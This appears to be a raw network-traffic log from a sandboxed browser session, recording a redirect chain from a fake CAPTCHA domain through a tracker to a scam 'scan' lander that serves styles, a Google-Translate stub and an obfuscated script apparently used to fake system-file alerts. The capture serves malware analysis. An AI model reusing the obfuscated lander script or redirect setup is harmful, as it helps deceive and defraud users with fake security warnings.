text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://re-captha-version-4-21.buzz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:53 UTC	753	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 03 Oct 2024 15:18:53 GMT Content-Length: 0 Connection: close Cache-Control: no-cache Pragma: no-cache Expires: -1 Location: https://psh-dsp-trk.trkless.com/?s58=jyOgdF5Yo7q9VvBJfJjVffPlvcjDs4U2cIypsLXKPSIH%2F%2BfreI4IHFFfvTmqsg5du6%2FhhIuZRKy3u%2BHPet8g7giv%2B91eGUhptpGXmzeTfzvuddhSKV4LOBOg3tBybz%2FoV93wsGNLrziAvBwFNgVCPQwMd6YphHa5v%2B%2BF7qybsoTk%2FiFyy56LG9Q0mRm3RuI0u9DhOHMpZSK9e9UKgmY5chxRFnVS9XzcjCOCh8IuekiGH7gcqA5Fwlubhgj76Oa5JSxJWxWQPdJTvgTC6vtwPTghJv4PIIF6CcMz8MIsqj3LaF1RhmDz%2BMlN%2B8nuu6U2yuT6JqQyIqRtXvhOA4NRG%2BBDxbAuO%2BldGqWk658y36vsmyKp7rONHAMgW9mz8rrW&brid=PB04-0HN6JRJINBG0M4IRS&type=2&inst=b04 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Referrer-Policy: no-referrer

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	55758	104.21.79.120	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:54 UTC	1131	OUT	GET /?s58=jyOgdF5Yo7q9VvBJfJjVffPlvcjDs4U2cIypsLXKPSIH%2F%2BfreI4IHFFfvTmqsg5du6%2FhhIuZRKy3u%2BHPet8g7giv%2B91eGUhptpGXmzeTfzvuddhSKV4LOBOg3tBybz%2FoV93wsGNLrziAvBwFNgVCPQwMd6YphHa5v%2B%2BF7qybsoTk%2FiFyy56LG9Q0mRm3RuI0u9DhOHMpZSK9e9UKgmY5chxRFnVS9XzcjCOCh8IuekiGH7gcqA5Fwlubhgj76Oa5JSxJWxWQPdJTvgTC6vtwPTghJv4PIIF6CcMz8MIsqj3LaF1RhmDz%2BMlN%2B8nuu6U2yuT6JqQyIqRtXvhOA4NRG%2BBDxbAuO%2BldGqWk658y36vsmyKp7rONHAMgW9mz8rrW&brid=PB04-0HN6JRJINBG0M4IRS&type=2&inst=b04 HTTP/1.1 Host: psh-dsp-trk.trkless.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:55 UTC	839	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 15:18:55 GMT Content-Length: 0 Connection: close location: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= cache-control: max-age=0, no-cache, no-store, must-revalidate referrer-policy: no-referrer accept-ch: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z10QpQfiUqnEZGknjQWK3SzirPOJDY%2F5F1qiW4D6ovuA9cHiHsvI2tAR6RmLS2OSL%2BbkF2OCsaloWSjROhZW2LnrZ3YLCPyyOCDFE4HrMckJXgA3TOUZExggm0fh%2BjoLuafzEeOJSdSCRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccde850280d1889-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	55760	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:55 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=yVxFCdyegYPdutC&MD=5BdTG2r4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-03 15:18:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 663ac108-9dff-49bb-8b74-e53e85f9947d MS-RequestId: f1d7ee4d-335f-4753-a76e-70568dc743d8 MS-CV: WxJh/oQyl0+R/6x8.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 03 Oct 2024 15:18:55 GMT Connection: close Content-Length: 30005
2024-10-03 15:18:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-03 15:18:56 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	55759	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:56 UTC	775	OUT	GET /c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= HTTP/1.1 Host: beta-scan.site Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:56 UTC	479	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: uclick=e2371nwj; expires=Fri, 04 Oct 2024 15:18:56 GMT; Max-Age=86400; path=/; secure; SameSite=none Set-Cookie: uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; expires=Fri, 04 Oct 2024 15:18:56 GMT; Max-Age=86400; path=/; secure; SameSite=none Strict-Transport-Security: max-age=31536000
2024-10-03 15:18:56 UTC	8578	IN	Data Raw: 31 65 63 31 0d 0a 3c 21 44 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 3c 62 61 73 65 20 68 72 65 66 3d 22 6c 61 6e 64 65 72 73 2f 67 73 62 2f 47 53 42 2f 69 6e 64 65 78 2e 68 74 6d 6c 22 3e 0a 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 Data Ascii: 1ec1<!Doctype html><html><head><base href="landers/gsb/GSB/index.html"><meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge"><![endif]--><meta name="viewport" content="width=device-width, initial-scale=1.0, max

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	55764	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:57 UTC	762	OUT	GET /landers/gsb/GSB/files/styles/default.css HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
2024-10-03 15:18:57 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:57 GMT Content-Type: text/css Content-Length: 7945 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-1f09" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:57 UTC	7945	IN	Data Raw: 62 6f 64 79 20 7b 0d 0a 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 73 6e 61 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 46 61 6d 69 6c 79 5f 49 6d 61 67 65 5f 68 6f 6d 65 2e 77 65 62 70 29 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 Data Ascii: body { box-sizing: border-box; padding: 0; margin: 0; font-family: Roboto, snas-serif; height: 100vh; background: url(../images/Family_Image_home.webp); background-size: cover; background-repeat: no-repeat;}.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	55763	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:57 UTC	745	OUT	GET /landers/gsb/GSB/files/script/smart.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
2024-10-03 15:18:57 UTC	292	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:57 GMT Content-Type: application/javascript Content-Length: 2198 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-896" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:57 UTC	2198	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 0a 20 20 76 61 72 20 6e 3b 0a 20 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 26 26 28 64 65 66 69 6e 65 28 65 29 2c 6e 3d 21 30 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 28 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 2c 6e 3d 21 30 29 2c 21 6e 29 7b 0a 20 20 20 20 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 43 6f 6f 6b 69 65 73 2c 6f 3d 77 69 6e 64 6f 77 2e 43 6f 6f 6b 69 65 73 3d 65 28 29 3b 0a 20 20 20 20 6f 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 43 6f 6f 6b 69 65 73 3d 74 2c 6f 7d 0a 20 20 7d 0a 7d Data Ascii: !function(e){ var n; if("function"==typeof define&&define.amd&&(define(e),n=!0),"object"==typeof exports&&(module.exports=e(),n=!0),!n){ var t=window.Cookies,o=window.Cookies=e(); o.noConflict=function(){ return window.Cookies=t,o} }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	55762	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:57 UTC	744	OUT	GET /landers/gsb/GSB/files/script/lang.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
2024-10-03 15:18:57 UTC	292	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:57 GMT Content-Type: application/javascript Content-Length: 1157 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-485" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:57 UTC	1157	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 67 6f 6f 67 6c 65 54 72 61 6e 73 6c 61 74 65 45 6c 65 6d 65 6e 74 49 6e 69 74 28 29 20 7b 0a 20 20 6e 65 77 20 67 6f 6f 67 6c 65 2e 74 72 61 6e 73 6c 61 74 65 2e 54 72 61 6e 73 6c 61 74 65 45 6c 65 6d 65 6e 74 28 0a 20 20 7b 0a 20 20 20 20 70 61 67 65 4c 61 6e 67 75 61 67 65 3a 20 22 65 6e 22 2c 0a 20 20 20 20 20 6c 61 79 6f 75 74 3a 20 67 6f 6f 67 6c 65 2e 74 72 61 6e 73 6c 61 74 65 2e 54 72 61 6e 73 6c 61 74 65 45 6c 65 6d 65 6e 74 2e 46 6c 6f 61 74 50 6f 73 69 74 69 6f 6e 2e 54 4f 50 5f 52 49 47 48 54 2c 0a 20 20 20 20 20 61 75 74 6f 44 69 73 70 6c 61 79 3a 20 66 61 6c 73 65 2c 0a 20 20 20 20 7d 0a 20 20 20 20 2c 0a 20 20 20 20 22 67 6f 6f 67 6c 65 5f 74 72 61 6e 73 6c 61 74 65 5f 65 6c 65 6d 65 6e 74 22 0a 20 20 29 3b 0a 7d Data Ascii: function googleTranslateElementInit() { new google.translate.TranslateElement( { pageLanguage: "en", layout: google.translate.TranslateElement.FloatPosition.TOP_RIGHT, autoDisplay: false, } , "google_translate_element" );}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.17	55761	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:57 UTC	744	OUT	GET /landers/gsb/GSB/files/script/myjs.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
2024-10-03 15:18:57 UTC	294	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:57 GMT Content-Type: application/javascript Content-Length: 19980 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-4e0c" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:57 UTC	16090	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 36 62 61 28 5f 30 78 33 62 65 65 37 65 2c 5f 30 78 33 39 37 37 65 31 29 7b 76 61 72 20 5f 30 78 32 35 39 32 35 30 3d 5f 30 78 32 35 39 32 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 34 36 62 61 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 36 62 61 36 64 2c 5f 30 78 31 35 65 33 64 66 29 7b 5f 30 78 34 36 62 61 36 64 3d 5f 30 78 34 36 62 61 36 64 2d 30 78 31 34 37 3b 76 61 72 20 5f 30 78 31 37 36 36 62 31 3d 5f 30 78 32 35 39 32 35 30 5b 5f 30 78 34 36 62 61 36 64 5d 3b 72 65 74 75 72 6e 20 5f 30 78 31 37 36 36 62 31 3b 7d 2c 5f 30 78 34 36 62 61 28 5f 30 78 33 62 65 65 37 65 2c 5f 30 78 33 39 37 37 65 31 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 35 39 32 28 29 7b 76 61 72 20 5f 30 78 31 36 64 37 62 34 3d 5b 27 43 3a 4d Data Ascii: function _0x46ba(_0x3bee7e,_0x3977e1){var _0x259250=_0x2592();return _0x46ba=function(_0x46ba6d,_0x15e3df){_0x46ba6d=_0x46ba6d-0x147;var _0x1766b1=_0x259250[_0x46ba6d];return _0x1766b1;},_0x46ba(_0x3bee7e,_0x3977e1);}function _0x2592(){var _0x16d7b4=['C:M
2024-10-03 15:18:57 UTC	3890	IN	Data Raw: 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 35 63 34 37 64 64 3d 5f 30 78 32 66 63 64 31 37 3b 24 28 5f 30 78 35 63 34 37 64 64 28 30 78 31 61 38 29 29 5b 5f 30 78 35 63 34 37 64 64 28 30 78 31 62 33 29 5d 28 27 43 3a 53 75 73 57 4f 57 36 34 57 49 4e 63 65 79 4b 72 65 64 6d 63 6c 2e 64 6c 6c 27 29 3b 7d 2c 30 78 31 66 61 34 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 35 62 31 38 33 33 3d 5f 30 78 32 66 63 64 31 37 3b 24 28 27 2e 6d 69 78 2d 77 69 72 64 73 27 29 5b 5f 30 78 35 62 31 38 33 33 28 30 78 31 62 33 29 5d 28 27 43 3a 53 75 73 57 4f 57 36 34 57 49 4e 4b 64 73 63 6c 69 2e 64 6c 6c 27 29 3b 7d 2c 30 78 32 30 30 38 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 Data Ascii: tTimeout(function(){var _0x5c47dd=_0x2fcd17;$(_0x5c47dd(0x1a8))[_0x5c47dd(0x1b3)]('C:SusWOW64WINceyKredmcl.dll');},0x1fa4),setTimeout(function(){var _0x5b1833=_0x2fcd17;$('.mix-wirds')[_0x5b1833(0x1b3)]('C:SusWOW64WINKdscli.dll');},0x2008),setTimeout(func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.17	55767	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:58 UTC	951	OUT	GET /landers/gsb/GSB/aHR0cHM6Ly9iZXRhLXNjYW4uc2l0ZS9jMWQ1bDJrLnBocD9rZXk9Zzgwa2Qyd25yaWUzeXRzN21hNDUmY29zdD0wLjA5MDAwJmNhbXBfaWQ9NzY2NzE2JmNvdW50cnk9VVMmcGxhdGZvcm09V2luZG93cyZ6b25lX2lkPSZzb3VyY2VfaWQ9 HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:58 UTC	210	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000
2024-10-03 15:18:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.17	55766	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:58 UTC	798	OUT	GET /landers/gsb/GSB/files/images/Family_Image_home.webp HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://beta-scan.site/landers/gsb/GSB/files/styles/default.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:58 UTC	284	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:58 GMT Content-Type: image/webp Content-Length: 104650 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-198ca" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:58 UTC	16100	IN	Data Raw: 52 49 46 46 c2 98 01 00 57 45 42 50 56 50 38 58 0a 00 00 00 00 00 00 00 7f 07 00 bb 02 00 56 50 38 20 4e 98 01 00 70 a8 06 9d 01 2a 80 07 bc 02 00 00 00 25 a5 bb ea b5 6a 34 a6 32 8e 75 f5 4a 53 1e 54 97 7f e5 78 5c 4e 01 fc 0f f8 67 e7 4f f0 9d 92 fc 1f f2 af e5 7f cc ff 45 f8 14 e9 67 90 19 55 a2 38 ca b2 9f e4 ff d8 3f 9b 7f 1d fd 84 f1 9d fe 9f f9 9f 7a 97 f5 5f 74 0f f2 bf b0 fc 40 f4 37 e6 07 3b df ef df e2 bf 80 7f 25 ff ff f0 53 f8 f7 f8 2f eb 3e a7 7e 6f 73 ff d2 a2 f0 bd 67 ef 6f 6a 7c 8f e8 be f6 bd 9c b8 ff b2 1f 98 7e 57 fc ef fd 1f cd 0f 9b 1f f9 39 9a f7 1f fd 5e 79 7d 5f ff 23 ee 2b e5 3f fd 2f fa 7f eb ff d6 7c 79 fd 75 ff 37 fd 47 ef 77 d1 3f eb cf f9 ef d8 ff d7 bf aa 3f f7 ff ca ff 9c f8 7d fb d1 ff 0f f6 67 